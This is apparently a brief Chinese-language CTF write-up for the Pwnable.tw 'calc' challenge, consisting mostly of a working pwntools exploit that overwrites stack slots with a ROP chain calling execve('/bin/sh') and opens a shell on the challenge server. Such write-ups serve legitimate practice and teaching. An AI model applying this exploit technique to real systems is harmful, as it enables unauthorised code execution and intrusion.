- 主要分析思路这篇文章写的很清楚: Pwnable.tw刷题之calc，由于调试的时候发现ebp刚好指向想写入'/bin/sh\x00'的地址，所以没有像作者那样算，直接泄漏ebp指向的地址
exp:
from pwn import *
context.log_level = 'debug'
#p = process('./calc')
p = remote('chall.pwnable.tw',10100)
def change_addr(index,value):
#get ret_addr
p.sendline('+' + str(index))
ret = int(p.recvuntil('\n',drop=True))
if value - ret > 0:
payload = '+' + str(index) + '+' + str(value - ret)
else:
payload = '+' + str(index) + str(value - ret)
p.sendline(payload)
p.recvline()
def data2num(a):
b = a.encode('hex')
num = ''
i = 0
while i < len(b):
num = b[i:i+2] + num
i += 2
return int(num,16)
pop_eax_ret = 0x0805c34b
#pop edx ; pop ecx ; pop ebx ; ret
ppp_ret = 0x080701d0
int_0x80 = 0x08049a21
p.recvuntil('===\n')
'''
+361 pop eax ; ret
+362 0xb
+363 pop edx ; pop ecx ; pop ebx; ret
+364 0
+365 0
+366 binsh_addr
+367 int 0x80
+368 '/bin'
+369 '/sh\x00'
'''
change_addr(361,pop_eax_ret)
change_addr(362,0xb)
change_addr(363,ppp_ret)
change_addr(364,0x0)
change_addr(365,0x0)
p.sendline('+360')
binsh_addr = int(p.recvuntil('\n',drop=True))
log.success('binsh addr : 0x%x'%binsh_addr)
change_addr(366,binsh_addr)
change_addr(367,int_0x80)
change_addr(368,data2num('/bin'))
change_addr(369,data2num('/sh\x00'))
p.sendline('shell')
#gdb.attach(p,'b *0x08049433')
p.interactive()
